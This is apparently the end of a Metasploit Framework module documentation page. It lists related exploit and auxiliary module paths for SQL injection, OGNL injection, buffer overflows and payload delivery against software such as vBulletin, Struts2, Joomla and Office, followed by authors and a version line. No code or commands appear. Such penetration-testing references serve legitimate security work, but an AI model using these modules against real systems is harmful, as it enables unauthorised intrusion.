- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/wordpress_content_injection
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/vbulletin_getindexablecontent
- exploit/osx/rtsp/quicktime_rtsp_content_type
- exploit/unix/http/contentkeeperweb_mimencode
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/windows/fileformat/hhw_hhp_contentfile_bof
- exploit/windows/misc/splayer_content_type
- auxiliary/scanner/http/web_vulndb
- auxiliary/vsploit/pii/web_pii
- exploit/windows/fileformat/office_dde_delivery
- exploit/windows/smb/smb_delivery
- auxiliary/server/regsvr32_command_delivery_server
Authors
- Andrew Smith "jakx" <[email protected]>
- Ben Campbell
- Chris Campbell
- Casey Smith
- Trenton Ivey
- g0tmi1k
- bcoles
- Matt Nelson
- phra
- Nick Landers
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.